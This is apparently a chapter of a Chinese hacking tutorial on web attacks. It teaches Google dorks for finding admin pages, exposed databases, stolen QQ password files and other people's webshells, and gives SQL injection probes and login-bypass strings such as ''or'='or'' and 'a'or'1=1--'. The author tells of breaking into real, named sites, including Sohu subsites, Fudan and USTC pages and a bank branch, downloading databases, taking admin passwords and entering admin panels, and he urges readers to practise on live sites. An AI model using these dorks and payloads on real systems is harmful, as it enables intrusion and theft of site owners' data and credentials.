2.1 Google
Hack技术大演练
2.2 'or'='or'经典漏洞攻击
2.3 暴库漏洞攻击
2.3.1 conn.asp暴库法
2.3.2 %5c暴库法
2.3.3 暴库的常见问题和解决方法
2.4 cookies 欺骗漏洞
2.5 跨站漏洞
2.6 注入漏洞
2.6.1 工具篇
2.6.2 手工篇
2.7 文件包含漏洞
2.8 旁注攻击
2.9 如何获取Webshell
2.9.1 上传
2.9.2 后台备份及恢复
2.9.3 SQL导出
2.9.4 写入过滤不完全
2.10 使用Webshell及提升权限
2.10.1 webshell的基本使用方法
2.10.2 webshell的提权
2.10.3 木马的加密与防杀
2.11 其他技术
2.11.1 网络钓鱼
2.11.2 社会工程学、心理学
2.11.3 常见的密码破解
从本章你可以学到如下几点:
1.Google Hack技术
2.'or'='or'与暴库漏洞利用
3.跨站漏洞攻击
4.工具注入攻击
5.手工注入攻击
6.如何获取Webshell及提升权限
7.其他脚本相关黑客技术
上一章给大家讲解了ASP、PHP、JSP的环境搭配,有了这些基础之后我们就可以在自己的电脑上搭建网站了。这为以后进行攻击及代码分析提供了比较方便的道路,特别是对于那些不能够上网的朋友来说,更加如此。但是,如果可以上网的话,最好还是用网上的网站来做试验,毕竟那是最好的战场,会出现各种不可预料的情况,可以更加提高我们的能力,不过前提必须是不破坏,不做任何坏事,就相当于给人家做免费的安全测试,那才我们的黑客精神嘛!
本章给大家介绍在脚本环境下的主要漏洞攻击技术,本章是以动手为主,理论比较少。特别适合对于一些对脚本没有任何认识,也从来没有学过脚本漏洞攻击的朋友,就更加是一个入门和学习的机会,相信通过本章,你们一定可以快速掌握大多数的脚本攻击技术。如果你已经对脚本攻击技术很熟悉了,那本章也会为你来一个总结,让知识系统化。
Google Hack技术是现在最火暴的黑客技术之一。其原理很简单,就是利用搜索引擎强大的搜索能力,来查找一些存在漏洞的网站。要利用Google来查找网站的漏洞自然要学会Google这个搜索引擎的语法了。下面先给大家讲解一下Google的语法,然后教大家怎么利用它来入侵,这项技术在我们的撒网式攻击中技术中是最好的方法。
(1)、介绍
作为google爱好者的我,在讲google hacking前先对google介绍一下。
= 1 \* GB3
①、google介绍:Google成立于1997年,目前已经成为全球第一搜索公司。Google数据库存有42.8亿个Web文件;检索网页数量达24亿;支持多达132种语言;具有15000多台服务器,200多条T3级宽带;通过采PageRank技术能够提供准确率极高的搜索结果;智能化的"手气不错"提供最符合要求的网站; "网页快照"可以从Google服务器里直接取出缓存的网页;独到的图片搜索功能;强大的新闻组搜索功能;提供二进制文件搜索功能,如.PDF .doc .swf等等;容量超大的Gmail服务;强大的桌面搜索;高清晰的google卫星地图;提供各种语言之间的翻译。
= 2 \* GB3 ②、google常见功能:
A.汉语拼音输入检索:输入changsha(如图2-1) 注:拼音之间不可以有间隔
图2-1 拼音检索长沙
B.翻译功能:输入 fy 音乐(如图2-2) 注:翻译可直接写成fy
图2-2 翻译 音乐
C.天气查询:输入 changsha tq(如图2-3) 注:天气可直接写成tq
图2-3 拼音查看长沙天气
D.股票查询:输入 中国石化 gp(如图2-4) 注:股票可直接写成gp
图2-4 查看中国石化股票
E.邮政编码和区号查询:输入 qh 长沙(如图2-5) 注:区号可直接写成qh
图2-5 查看长沙区号
F.手机查询归属地查询:输入 13875876817(如图6) 注:直接输入号
图2-6 查询收集归属地
G.购物查询:输入potato(土豆)(如图2-7) 注:URL:froogle.google.com
图2-7 选购土豆,有其价格、商店等信息
H.条形码查询
I.飞机航班查询
J.检索工具栏
K.google新闻
L.网站排名
(2)、语法
利用Google的语法我们可以做很多事情,2006年的时候网络上出现了几件大事,比较出名的有“魔兽铜须事件”,很多黑客就是利用Google Hack技术找到了铜须的QQ号码、MSN、邮件地址等个人信息。目前黑客利用Google Hack技术来进行入侵或资料收集的时候主要有以下几点:
= 1 \* GB3 ①、在入侵之前,可以利用Google Hack技术进行信息收集,典型的有比如查找网站后台及网站的拓扑结构等等。
= 2 \* GB3 ②、当发现或者公布某个漏洞之后,利用Google Hack技术大量收集存在这个漏洞的主机或网站,典型的有许愿版暴库漏洞,利用Google Hack技术找到许愿版之后就暴库,最后得到Webshell。
= 3 \* GB3 ③、边入侵边搜索,因为我们的入侵过程是一个动态的,我们必须根据不同的情况来区分各种入侵的方法和技巧,而Google Hack技术可以非常好的完成这项任务。
= 4 \* GB3 ④、直接搜索网站的默认数据库文件,这个我们可以结合挖掘鸡这类工具来进行入侵和渗透,那么效果会更加明显。
= 5 \* GB3 ⑤、搜索别人留下来的后门或者比如通过WEB方式盗的QQ号码等纪录文件,和上面一样,也可以结合挖掘鸡来渗透。挖掘鸡这个工具我会在后面详细讲解的。
踩点在入侵当中起着决定性的作用,也是决定入侵成败的最重要因素。它占据了整个入侵过程中90%以上的时间。FootPrinting要收集的信息一般主要有十个方面:(以网站为例)
A. 网站注册信息
B. 网管资料
C. 共享资料
D. 端口信息
E. FTP资源
F. 网站拓扑结构
G. 网站URL地址结构
H. 网站系统版本
I. 后台地址
J. 弱口令
下面还给大家提供Google的另外一些入口地址,对于特定的搜索很有好处
哦,可以提高很多效率。
http://www.google.com/microsoft 微软风格入口
http://www.google.com/mac MAC风格入口
http://www.google.com/bsd BSD风格入口
http://www.google.com/intl/xx-elmer 宗教风格入口
http://www.google.com/intl/xx-hacker 黑客专用入口
http://www.google.com/custom?domains=域名 站内搜索地址
http://www.google.com/custom?hl=zh-CN 中文黑客专用信息和资料搜索地址
http://www.google.com/custom?hl=en 英文黑客专用信息和资料搜索地址
http://www.mytianwang.cn/ 国内FTP文件搜索引擎
下面开始讲解我们的Google语法,google hack技术说白了就是结合google的语法和一些关键字来对网站进行的渗透的。
intext:关键字。
把网页正文中某个关键字做为搜索条件,然后搜索全世界网页正文中含有这些关键字的网页,allintext:关键字。功能相同。比如搜索网页登陆口,intext:验证码 4800,如图2-8 和图2-9所示。
图2-8 查找网页中含有“验证码 4800”关键字的网站,目的是找到用户登陆口
图2-9 找到登陆口
intitle:关键字。
把网页标题中某个关键字做为搜索条件,然后搜索全世界网页标题中含有这些关键字的网页,allintitle:关键字。功能相同。比如搜索网站后台,intitle:后台登陆,如图2-10和图2-11所示。
图2-10 搜索网页标题为“后台登陆”的网页
图2-11 查找到的后台登陆口
cache:关键字。
搜索含有关键字内容的cache。比如搜索北京大学网站服务器中缓存的内容,cache:pku.edu.cn,结果如图2-12和图2-13所示。
图2-12 检索到北京大学的缓存
图2-13 就是北京大学缓存里的信息
define:关键字。
搜索关键字的定义。比如查找html的定义,如图2-14所示。
图2-14 html的定义
filetype:文件名.后缀名。
搜索特定的文件。比如我要搜索信息安全方面的论文,我们输入“信息安全论文 filetype:doc”就可以找到了,如图2-15所示。
图2-15 搜索到的“信息安全论文”
info:关键字。
这个语法用于搜索指定站点的一些基本信息。比如搜索北京大学网站的一些信息,如图2-16所示。
图2-16 北京大学网站的一些信息
inurl:关键字。
搜索含有关键字的URL地址。这个语法非常的重要,使用的也是最为频繁,我们还可以使用allinurl来更加精确的定位URL地址。比如搜索含有movie的URL地址,输入“inurl:movie”即可,那么找出来的大部分是电影网站,如图2-17所示。
图2-17 搜索含有“movie”的URL
link:关键字。
查找与关键字做了链接的URL地址,利用它我们可能搜索到一些敏感信息。
site:域名。
返回域名中所有的URL地址,它可以探测网站的拓扑结构进行,也是非常的重要,使用非常频繁。比如搜索北京大学所有学院的URL地址,我们输入“学院 site:pku.edu.cn”就可以搜索到它所有的学院,如图2-18所示。
图2-18 北京大学所有的学院
related:URL
搜索与指定URL相关的页面。比如搜索与北京大学相关的网页,我们输入关键字“related:pku.edu.cn”即可看到,如图2-19所示。
图2-19 搜索与北京大学相关页面
stocks:搜索有关一家公司的股票市场信息
insubject:搜索Google组的标题行
msgid:搜索识别新闻组帖子的Google组信息标识符和字符串
group:搜索Google组搜索词汇帖子的题目
author:搜索新闻组帖子的作者
bphonebook:仅搜索商业电话号码簿
rphonebook:仅搜索住宅电话号码簿
phonebook:搜索商业或者住宅电话号码簿
daterange:搜索某个日期范围内Google做索引的网页
inanchor:搜索一个HTML标记中的一个链接的文本表现形式
不过需要注意以下几点:
google搜索多个关键字时之间用间隔。空格表示逻辑与操作。
google中-表示逻辑非操作。如 A-C表示搜索有A但没C的网页。
google中OR表示逻辑或。如AORB表示搜索含有A的网页 B的网页和同时含A和B的网页。
google中精确搜索用双引号,比如我们搜索脚本黑客和"脚本黑客",两者之间的差别就是一个双引号,如图2-20所示,显示了他们搜索结果的差别。
图2-20 显示了有引号与无引号之间的差别
google中的通配符。*表示一连串字符,?代表单个字符。含有通配符的关键字要用引号。
google对英文关键字的大小写不敏感。
google对出现频率极高的英文单词做忽略处理。如 . com i www http等。如果要对忽略的关键字进行强制搜索,则需要在该关键字前加上明文的"+"号。
google大部分常用英文符号(如问号,句号,逗号等)无法成为搜索关键字,加强制也不行。
还有一点就是,可能大家都知道BAIDU的网页快照,其实Google也有这个功能
的,他的URL地址是http://www.googlesyndicatedsearch.com/u/berkeley,
比如我们要快照北京大学,那么输入北京大学(pku.edu.cn)的网址就可以了,
如图2-21所示。
图2-21 北京大学的快照
以上这些就是google的一些基本语法,要对某个站点进行渗透就要利用
上面的语法来构造出一些精美的语句,从而找出站点的一些敏感信息。下面我们就来体验简单体验一下Google Hack技术给我们带来的方便吧。
(3)、入侵
= 1 \* GB3 ①、渔翁得利——查找别人留下的Webshell
很多人在入侵网站得到Webshell后,并没有把网页木马的一些关键字去掉,而是保留了原样,这样我们就可以利用Google强大的搜索能力。利用木马的关键字找出那些Webshell来。比如很多木马都有“绝对的路径、输入保存的路径、输入文件的内容”等关键字。有这个关键字的木马的文件名默认是diy.asp。那么我们就以上面的上面的为关键字构造一个搜索条件吧,搜索内容为:绝对的路径 输入保存的路径 输入文件的内容 inurl:diy.asp。搜索的结果如图2-22所示,随便打开一个就可以得到一个webshell了,如图2-23所示。
图2-22 查找webshell
图2-23 得到的webshell
其实这类攻击就是利用一些默认的信息去查找,至于其他木马的关键字大家可以自己去收集,然后自己去构造,这样可能会得到意外的效果哦!
= 2 \* GB3 ②、搜索存在注入漏洞的站点
对于以前没有玩过注入或者玩的不熟悉的朋友应该都有一些困惑吧,就是很难找到一个网站的注入漏洞,其实这里我们完全可以结合Google Hack技术来达到批量注入的效果,这里注入我们还需要一个注入工具,对于批量搜索注入方面我觉得还是啊D这个工具配合的比较好,比如我们打开google,在里面搜索URL地址中含有asp?id=关键字的URL,如图2-24所示,然后打开啊D把图2-24中google的搜索地址http://www.google.com/search?hl=zh-CN&newwindow=1&q=inurl%3Aasp%3Fid%3D&lr=填入到扫描注入点中的检测网址,然后点击打开网页。最后就是点击google页面中的下一页按钮,那么这样就可以找到存在注入漏洞的网站了,如图2-25所示。
图2-24 搜索URL中含有asp?id=的网址
图2-25 批量搜索到存在注入的网站
= 3 \* GB3 ③、查找特定网站的注入漏洞
上面给大家演示了如何批量的搜索注入漏洞,同样我们可以利用Google Hack技术来查找特定网站的漏洞。比如我们要渗透搜狐网站,找到搜狐网站的注入漏洞。上面我们找的asp网站的注入漏洞,下面我们就来找找PHP网站的漏洞,我们在google中输入site:sohu.com inurl:php?id=后就可以看到sohu网站所有存在php?id=的网站了,如图2-26所示。
图2-26 搜索sohu中的php页面
查到了这些php页面后我们就要自己去一个个判断是否存在注入漏洞了,判断注入漏洞的方法很简单,就是在网址的最后面加上两段代码,一为and 1=1和and 1=2。如果加上了上面的代码后返回的and 1=1和and 1=2页面不同,那么就说明存在注入漏洞了,至于为什么这样就可以判断是否存在注入漏洞在后面我会给大家详细说明。这里还需要注意的一点是and和url的最后面应该有一个空格,比如http://www.sohu.com/attric.php?id=12 and 1=1,这里大家要特别注意:id=12与and之间存在一个空格,而空格在输入我们的URL地址栏内后就会被编码成%20,也就说%20在URL地址栏内就代表一个空格。通过我对搜索出来的页面的查找终于找到了一个存在注入漏洞的地方了,图2-27和图2-28就是判断其是否存在注入漏洞。
图2-27 加上and 1=1之后页面返回正常
图2-28 加上and 1=2之后页面返回不正常,由此说明存在漏洞
= 4 \* GB3 ④、挖掘鸡的运用
前面我就两次提到了挖掘鸡这个工具,对于这个本人是非常喜欢的,利用google hack的原理及技术可以为我们得到很多想要的东西,我曾经就发表过一篇关于挖掘鸡的文章,下面我就引用我写的那篇文章。
这篇文章主要是介绍一下挖掘鸡的运用,在撒网试攻击当中我最喜欢的就是挖掘鸡。它就是利用关键字,然后在网络当中查找出符合这些关键字的URL地址。其原理和google hacking相类似。都是利用关键字查找有漏洞的网站,但是挖掘机会自动提取出那些URL地址来。比用google hacking更加方便而且还可以找出一些搜索引擎找不到的URL地址。
挖掘机主要是检测以缺省路径存在的孤立页面,这样的页面一般没有和其他页面进行连接,所以搜索引擎里一般是很难找到,目前挖掘机已经发展到了2.5版本。只要攻击者构造一些精美的语句出来就可以大规模的入侵网站,它的页面如图2-29所示。这个工具已经在光盘中有收录了,这个工具的用法在帮助当中都有,这里不详细讲解了。今天主要讲运用它来入侵。
图2-29 挖掘鸡的页面
盗QQ:我们这个现在盗QQ的软件一般都支持两种发送密码的体制(如阿拉QQ大盗),一种通过邮箱另一种通过WEB。很多人在用WEB接受QQ密码的时候喜欢用把接受QQ的文件名设为QQ.txt或者qq.txt。所以查找一些含有QQ.txt或者qq.txt的URL地址那么很有可能找出别人幸幸苦苦的密码拉。
挖掘内容如下:
文件名:qq.txt和QQ.txt
目录组:/qq.txt和/QQ.txt
特征符:password
关键字:欢迎 欢迎光临 个人 Welcome
等了几分钟以后就找到了一些这样的网页了。这写都是别人盗QQ时候生成的文件如图2-30所示。
图2-30 盗取的QQ号码
下载数据库:很多网站没有把默认的数据库地址改掉,比如DVBBS的默认数据库是:dvbbs7.mdb。那么有了这些默认数据库名我们就可以查找出没有改掉默认数据库的网站地址了。还是用DVBBS来举例吧,挖掘内容如下:
文件名:dvbbs6.mdb
dvbbs7.mdb
目录组:/data
/databackup
关键字:dvbbs 动网论坛 欢迎
存在这样漏洞的网站非常的多,请看图2-31。大部分都可以下载,如图2-32。
图2-31 挖掘到的默认数据库
图2-32 可以下载数据库
暴库漏洞:暴库一般是加上%5c或者inc等一些符号让系统在调用数据库时出现错误,然后返回的数据中提示调用数据库出现错误,错误里面一般都含有数据库的绝对路径。前不久许愿版出现了暴库漏洞,那就先用挖掘鸡把许愿版找出来。
文件名:wish.asp
目录组:/wish
关键字:许愿版
找出了一些许愿版的网站,如图2-33,直接访问暴出它的数据库,如图2-34。
对于暴库我会在后面详细的讲解,这里大家就只需要知道,我们只需要在URL地址的最后一根斜杠(/)改成%5c就可以暴库了。
图2-33 挖掘到的许愿版
图2-34 通过暴库得到数据库地址
查找webshell:目前有很多webshell都有自己的名字和登陆密码。但是很多人在上传木马的时候并没有改默认的名字和密码,所以就可以利用这些信息来查找出这些webshell来,登陆后改掉密码,那么就不费力气的得到了一个服务器,很爽吧。
文件名:wei.asp
2006.asp
lcx.asp
LP.asp
newhjzf.asp
newasp.asp
2005red.asp
2005.asp
2005Gray.asp
phpspy_2006.php
目录组:/
关键字:登陆 Login 密码(不同的木马有不同的关键字)
等我喝完一杯可乐回来以后,就找到好多了,如图2-35所示。
图2-35 搜索到的webshell地址
我们随便打开一个看看,如图2-36所示,登陆看看,如图2-37所示。
图2-36 我们找到的webshell
图2-37 登陆webshell后的情况
查找登陆口、后台:
文件名:login.asp
admin.asp
denglu.asp
manager.asp
guanli.asp
目录组:/
关键字:管理 登陆 后台
可以轻易找出网站的后台地址,而且有的网站居然把密码都列举出来了,如图2-38所示。其实就算没有密码,还是可以利用默认密码、后台过滤不严格等漏洞来登陆后台的。
图2-38 查找到的后台,并且自己提供了密码
查找注入漏洞:要查找注入漏洞首先要知道哪个系统有注入漏洞,然后通过独一无二的关键字进行挖掘。例如下面常见的注入:
文件名:asp?id=
asp?newsid=
asp?page=
asp?Article= 等等
目录组:/
关键字:自己构造,只要网页正文或者标题上有的就可以了。
一下就挖掘出了很多如图2-39所示,随便打开一个就发现了漏洞如图2-40所示。
图2-39 查找到的注入地址
图2-40 判断出网站存在注入漏洞
其实还有很多这样相似的漏洞,比如上传漏洞等等,我们都可以利用它来找。其他的漏洞攻击方法也都是大同小异,方法和原理都是一样的。
其实挖掘鸡这个工具是很简单的,正是因为它简单所以才给了我们很大的发挥空间,和google hacking是一样的,原理是很简单,但是技巧性是很大。它并不像其他工具一样,不管你水平怎么样,只要知道怎么用结果都是一样。本人不喜欢那样机械的工具,根本很难发挥出一个人的想象力。挖掘鸡就不一样了,它可以充分发挥出一个人的想象力和水平。要用好挖掘鸡这样的工具,最好是要关注最新的漏洞报告,根据漏洞报告来入侵的效果很好,因为在漏洞刚刚发布出来的时候很多网站还没有打上补丁,这个时候玩的就很顺利。上面的许愿版漏洞就是如此,我一发现许愿版出现漏洞就马上用它来入侵,结果得到了很多webshell。
挖掘鸡的缺点就是只能够挖掘没有链接关系的页面,一定程度上限制了它对网站的渗透深度,但是这同时也它的优点之一。如果要查找没有链接关系的页面首选就是挖掘鸡,虽然google hacking也可以达到这个效果,可是挖掘鸡对URL地址进行了整理。很多情况下要把挖掘鸡同google hacking结合起来用,互相取长补短,才可以发挥出最大的作用。要用好挖掘鸡不仅要关注最新的漏洞报告,还要能够构造出比较经典的语句出来,同时结合google hacking来对网站进行渗透,那么我们的肉鸡就会大大增加了。
= 5 \* GB3 ⑤、目录浏览漏洞
目录浏览漏洞其实就是服务器没有配制好而导致的,结果是非常多的敏感信息被泄露,我发表过一篇关于目录浏览与google hack的文章,下面我就以我的文章来说明这个漏洞的利用方法。
目录浏览与Google Hack
某日,十分无聊的坐在电脑前浏览黑客杂志,在看到暴库漏洞时,我突然想起了inc/conn.asp这种攻击方法还从来没有成功过(这种方法指使用搜索引擎搜索一些敏感关键字获取网站数据,conn.asp往往是ASP程序里包含数据库连接信息的文件),既然兴趣来了就开工。直接在Google里输入“inurl:/inc/conn.asp”发现根本没有这样的网,如图2-41所示。后来输入“inurl:conn.asp”,发现找到了一个暴库漏洞的网站,如图2-42所示。
图2-41 输入inurl:/inc/conn.asp没有找到页面
图2-42 搜索含有conn.asp的页面
可是我找了上千个网页也只有这一个网站,后来编写了很多类似google关键字,可效果都是差不多。经过一个下午的思考事情终于有了新的转机,攻击的方向也随着发生了变化,不过效果却相当的惊人。
下午顶着两节课没上的危险,一直在思考着。突然我的灵感来了,无意中构造了“inurl:/inc+conn.asp”这个关键字,发现它居然找出了很多网站的漏洞,如图2-43所示。来看看具体的网站,如图2-44所示,再看看conndb.asp这个文件的内容,如图2-45所示。
图2-43 搜索URL中含有inc及页面中含有conn.asp的页面
图2-44 搜索出来的网站信息
图2-45 网站conn.asp文件的数据库的地址
一个网站就这样轻易的被攻破了,实在是吓了我一大跳。后来我仔细的查阅了每一个网站,发现他们都有一个共同点就是都含有“to parent directory”这句话。那么我们就查找“to parent directory”看看,如图2-46所示。
图2-46 存在to parent directory的页面
居然有229000000项符合“to parent directory”的查询结果,太令我兴奋了。经过和老师一个中午的激烈讨论,终于从他那里知道原来是服务器没有配置好而出现的安全问题,问题就出在服务器的“目录浏览”上,不仅IIS和Apache存在这样的问题,而且大部分服务器都存在这样的类似问题。
通过我上面的思考与分析得出的结论是网站可以被目录浏览,而又可以搜索数据库链接文件,从而导致了数据库物理路径泄露。现在不仅仅要把网站数据库地址找出来,还要把所有存在目录浏览的特定网站找出来。那么就以存在目录浏览的网站为基础,在去他们网站上查找敏感文件,这样不就可以得到肉鸡了吗?这需要编写一些google hacking关键字,经过半个多月的整理与实践。今天把关键字写出来与各位朋友一起分享。
1.所有可以目录浏览的网页都有一些相同的地方,主要是下面几个:To parent directory parent directory Last modified Description 转到父目录 index of / <DIR>等等。
上面这些词语是查找存在目录浏览网站的基础,也是组成关键字的核心。而且我们可以把“To parent directory”翻译成世界上的各个国家的语言,比如翻译成中文是“转到父目录”。那么我们搜索“转到父目录”也可以查找到很多网站,而且都是中国内地的网站,如图2-47所示。
图2-47 搜索含有“转到父目录”的页面
2.而利用google来搜索目录浏览的google语法主要有:intitle intext inurl site filetype等等。
3.搜索特定的文件,我们需要用到文件后缀名,常见的文件后缀有:avi bak bmp dll exe ini mp3 rar txt wav js wav zip chm等。地址:http://www.vipcn.com/InfoView/Article_43112.html上有目前世界上绝大部分的文件后缀,有关文件后缀可以到上面查询。
4.我们还可以搜索特定的文件夹,不同的系统有不同的文件夹,这里列举了常见的文件夹名:Inetpub etc movie music dianying yinyue tv dianshi share admin login denglu guanli 电影 电视 音乐 共享 管理 登陆 bbs vote luntan toupiao 论坛 投票 upload shangchuan 上传 check yanzhen 验证等等。我们来看看效果,比如我们搜索IIS下的根文件夹inetpub,如图2-48所示,这样IIS服务器下的所有东西我们就都可以看到了。
图2-48 查找IIS下的关键字inetpub
5.搜索协议,常见的协议有TCP IP DNS TELNET等等,具体的请到http://www.cnpaf.net/(中国协议分析网)上去查询。比如我要看TCP/IP协议详解,如图2-49所示。
图2-49 查看ICP/IP的页面
6.搜索域名后缀,常见的域名后缀有:com net mil org info gov edu biz coop aero pro int arpa等等,还可以针对不同地区来查找比如cn等等。可以到
http://www.windstudio.net/html/200508/20050829221807.htm上查看全球的域名后缀,我们来看看美国军方存在这个漏洞的网站,如图2-50所示,居然存在118000项符合条件的网页,里面多少也应该有一点点机密资料吧。
图2-50 查看军方网络里的目录浏览漏洞
其实上面都是以常见的词语来进行查找的,所以构造关键字的原理就是利用第一点中的词语和google语法,在加上一些常见的词语,就可以编写出好的攻击关键字出来。不过找出来的很多网站里面的文件是不能够读取的,权限比较小。但是权力再小我们也可以得到对方网站的体系结构,这为我们踩点省了很多力气呀!能够直接读取的,那几乎是完美了,可以不费吹灰之力就可以攻破。
下面我通过几个实际的例子来运用上面的理论知识,实践才是检验真理的唯一标准。
1.复旦大学:输入intext:to parent directory+intext:mdb site:fudan.edu.cn语句,搜索网站数据库文件,如图2-51所示。
图2-51 查看复旦大学的数据库文件
不仅数据库文件可以下载,其他的asp文件也可以下载得到源代码。打开刚下载的数据库,管理员的密码就轻松得得到了,如图2-52所示,接下来就是登陆后台,上传木马和提权了,这里就不多讲了。
图2-52 下载到的数据库文件
2.中国科学技术大学:输入intext:to parent directory+intext:conn.asp site:ustc.edu.cn语句,搜索网站的数据库链接文件conn.asp,如图2-53所示,下载一个文件后发现里面居然是网站最敏感的数据,如图2-54所示。
图2-53 搜索中国科技大学的数据库连接文件
图2-54 得到的数据库连接敏感信息
4.交通银行郑州分行:输入to parent directory site:202.102.239.179语句,有一个日志文件,如图2-55所示,下载后发现有一些绝对路径的敏感信息,如图2-56所示。
图2-55 得到银行的目录浏览
图2-56 得到银行的备份敏感信息
5.无意中的Webshell:输入inurl:/inc+conn.asp语句后得到了一个免费的Webshell,如图2-57所示。
图2-57 得到的webshell
从攻击者的角度来讲,最主要的就是写攻击关键字。关键字的原理也很简单,就是以目录浏览的那几个关键字为中心,然后利用发散思维(比如默认数据库链接文件)不断的去扩展关键字的范围,从而获得更多的肉鸡。从管理员的角度来讲,千万不要忽视服务器上“目录浏览”功能,如果配置不当,特别是网站根目录也允许目录浏览的话,就可能会对网站产生毁灭性的打击,使用不当就是网站的一根软筋。所以“目录浏览”这个功能在使用的时候要慎重。其实与目录浏览一起的功能也是要慎重使用,这里以IIS为例。“脚本资源访问”和“写入”千万不要随便开启,除非有特殊情况。从暴库漏洞到目录浏览这一过程并不是一帆风顺,中间花了很多时间来思考,这一切的一切都是因为“目录浏览”引起的,希望本文对各路朋友都有所帮助。服务与安全永远是对立的,我们所要做的就是在他们中间寻求对立与统一。
上面我们的利用现实了Google的强大搜索能力,当然还是有防范的方法。现在比较常见的方法就是使用robots.txt文件来阻止搜索网站的敏感信息。roboot.txt文件文件就是搜索引擎通过一种程序robot(又称spider),自动访问互联网上的网页并获取网页信息。我们可以在自己的网站中建一个文本文件roboot.txt,在这个文件中声明了这个网站中不想被搜索引擎访问的东西,这样,这个网站的部分或者全部内容就可以不被搜索引擎给搜索到了。对于robots.txt的信息更多的大家可以去访问http://www.baidu.com/search/robots.html。这个文件比较的有用,比如管理员不想让搜索引擎搜索到网站的后台,那么他就可以把后台的地址加入到robots.txt文件中去,那么搜索引擎就不会去检索这些信息了。但是这样同样会带来安全问题,比如我们访问了这个robots.txt文件呢,那所有的敏感信息就全部被我们暴光了。
通过我对robots.txt文件的分析,发现这个文件都有一个共同点,那就是都含有“User-agent:*”这个关键字,所以我们可以利用Google Hack来查找网站的robots.txt文件,我们只需要在Google里输入“intext:"User-agent:*" inurl:robots.txt”、“intext:"Mediapartners-Google" inurl:"robots.txt"”、“intext:"Disallow:" inurl:robots.txt”、“intext:"Allow:" inurl:"robots.txt"”、“inurl:"robots.txt"”等语句就可以搜索存在robots.txt文件的网站的信息了,如图2-58所示。
图2-58 搜索到的robots.txt
其实利用google hacking来踩点就是利用一些关键字来查询,而且关键字最好是要是世界上独一无二的那么就收集的信息就越全面。利用google hacking来入侵同样也是利用关键字。它的原理是很简单,语法也不多给了我们自己最大的自由发挥空间。利用它来入侵网站看上去是很合法的,所以它的隐藏性也是相当强的。只有灵活的运用它才能够达到最大的效果。
下面我给出一些最常见的语句,这些语句是一小部分,大部分是国外网站上公布出来的。可以做为自己的以后构造语句的参考。最新的语句请看http://johnny.ihackstuff.com
allinurl:bbs data
查找所有bbs中的含有data的URL
filetype:mdb inurl:database
查找含有database的URL,且查找后缀名为mdb的文件
filetype:inc conn
查找含有后缀名为inc conn的文件
inurl:data filetype:mdb
查找含有data的URL,且查找后缀名为mdb的文件
intitle:"index of" data
查找网页标题中含有"index of" data的网页
intitle:"Index of" .sh_history
查找网页标题中含有"Index of" .sh_history的网页
intitle:"Index of" .bash_history
查找网页标题中含有"Index of" .bash_history的网页
intitle:"index of" passwd
查找网页标题中含有"index of" passwd的网页
intitle:"index of" people.lst
查找网页标题中含有"index of" people.lst的网页
intitle:"index of" pwd.db
查找网页标题中含有"index of" pwd.db的网页
"# -FrontPage-" inurl:service.pwd
查找含有service.pwd 的URL且网页中含有"# -FrontPage-"
site:xxxx.com intext:管理
查找某个网站中网页正文含有"管理"的页面
site:xxxx.com inurl:login
查找某个网站中URL地址中含有login的页面
site:xxxx.com intitle:管理
查找某个网站中含有"管理"的标题的页面
Google Hack我就给大家讲到这里了,大家在掌握了上面的知识后,应该自己去多实践一下,不要造成眼高手低的情况哦,还有就是google hack发展和更新非常的快,大家可以去http://johnny.ihackstuff.com这个网站上看最新的语句。
'or'='or'漏洞是一个比较古老的漏洞了,它主要出现在后台登陆上,利用这个漏洞,我们可以不需要密码而进入系统的后台。它出现的原因是在编程的时候逻辑上考虑不足,还有就是没有对单引号进行过滤,从而导致了漏洞的出现。逻辑上考虑不足是在AND和OR上面没有考虑到他们的关系,这为'or'='or'提供了前提条件,而单引号没有过滤则为漏洞提供了触发条件,两者一结合就出现了这类漏洞了。在后面我会给大家从代码的角度完全解释这个漏洞,这里简单的给大家介绍一下。
利用这类漏洞进入不仅仅只有'or'='or',还有其他的语句,其他类似语句有a'or'1=1--、'or1=1--、"or1=1--、or1=1--、'or'a'='a、"or"="a'='a、') or ('a'='a等等。
我们要利用这个漏洞就是要首先找到网站的后台了,上一节已经给大家讲解了Google Hack技术了,利用它来找后台应该是非常轻松的事情了。不过这里我给大家提供一些后台页面的资料,分别是他们的文件名和后台关键字,这里我以ASP为例子来说明,下面的文件也是以ASP文件来说明,是PHP或其他脚本的时候,只需要把后缀名该成相应的脚本语言名即可。
后台文件名主要有:
1、 admin.asp
2、 ad_login.asp
3、 ad_manage.asp
4、 addmember.asp
5、 adduser.asp
6、 adm_login.asp
7、 admin/admin.asp
8、 admin/admin_login.asp
9、 admin/index.asp
10、 admin/manage.asp
11、 admin_admin.asp
12、 admin/login.asp
13、 admin_edit.asp
14、 admin_index.asp
15、 Admin_Login.asp
16、 admin_main.asp
17、 admin_pass.asp
18、 admin_user.asp
19、 adminadduser.asp
20、 adminlogin.asp
21、 adminuser.asp
22、 chkadmin.asp
23、 login.asp
24、 login/admin.asp
25、 login/index.asp
26、 login/login.asp
27、 user/admin.asp
28、 user/index.asp
同时我们还可以结合以下的关键字:密码、用户名、后台、帐号、会员、会员ID、username、password、user、pass等等。
我们随便写条查询后台语句,比如intext:用户名 inurl:admin/login.asp,我们搜索看看就可以得到很多网站的后台地址了,如图2-59所示。
图2-59 搜索到的网站后台
大家还可以自己去构造一些查询语句,记得要多多实践。有了那么多后台了,我们可以一个个的去试,这种方法就是有点太笨了,不过也不失为一种,在大家一开始玩这个漏洞的时候也许只有用这个办法了。一般来说,这个方法可以用在我们入侵某一个特定网站的时候用到,比如找到网站的后台后可以用这种方法试一下。还有一种就是我们在分析代码的时候可以从代码中找出系统是否存在这样的漏洞。考虑到第一次接触这个漏洞,大家可以去试一下我们第一次说的那种方法,看看大家的运气了,不过不要报太大的希望哦,毕竟这是一个老漏洞了。
我已经为大家找到了两个网站来给大家演示,一个是中国科技大学的一个研究院网站,网址为http://www.ustcsz.edu.cn,找他的后台我们可以使用“inurl:admin/login.asp site: ustcsz.edu.cn”,非常轻松的就找到了后台登陆口。在得到后台登陆口后,在用户名和密码处都输入'or'='or',如图2-60所示,点击登陆我们就可以顺利的进入后台了,如图2-61所示。
图2-60 在后台处输入'or'='or'
图2-61 顺利进入后台
在前面我们就通过Google Hack来渗透了搜狐网站,我们就找到了一个存在注入漏洞的网站,不过在后面的继续渗透过程中,我又找到了一个搜狐的分站的后台,也发现存在'or'='or'漏洞,如图2-62所示,我们只要在用户名和密码输入a'or'1=1--、'or'='or'、'or'a'='a中的随便一个就可以进入后台,如图2-63所示。
图2-62 后台登陆口
图2-63 进入SOHU分站后台
